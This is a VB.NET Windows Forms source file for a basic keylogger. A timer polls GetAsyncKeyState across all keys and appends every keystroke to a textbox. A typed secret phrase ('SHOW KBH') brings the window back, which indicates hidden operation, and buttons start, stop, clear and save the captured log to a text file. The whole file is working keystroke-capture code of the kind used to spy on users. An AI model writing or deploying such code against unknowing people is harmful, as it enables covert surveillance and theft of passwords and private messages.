Imports System.Web
Imports System.IO
Imports System.Net.Mail
 
 
Public Class Form1
 
    Dim result As Integer
 
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) _
      As Integer
 
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
 
            If result = -32767 Then 
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
        If TextBox1.Text.Contains("SHOW KBH") Then
            Me.Show()
            ShowInTaskbar = True
            Timer1.Enabled = False
        End If
 
    End Sub
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Button1.Click
 
        ShowInTaskbar = True
        Timer1.Enabled = True
        'Me.Hide()
 
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Button3.Click
        TextBox1.Text = ("")
 
    End Sub
 
    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Button5.Click
        Me.Close()
 
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Button2.Click
        Timer1.Enabled = False
 
    End Sub
 
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Button4.Click
        Dim save As New SaveFileDialog
        Dim mystreamwriter As System.IO.StreamWriter
        save.Filter = "Text(*.txt)|*.txt|All Files(*.*)|*.*"
        save.CheckPathExists = True
        save.Title = "Save Log"
        save.ShowDialog(Me)
        Try
            mystreamwriter = System.IO.File.AppendText(save.FileName)
            mystreamwriter.Write(TextBox1.Text)
            mystreamwriter.Flush()
        Catch ex As Exception
 
        End Try
 
    End Sub
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles MyBase.Load
        ShowInTaskbar = True
    End Sub
 
End Class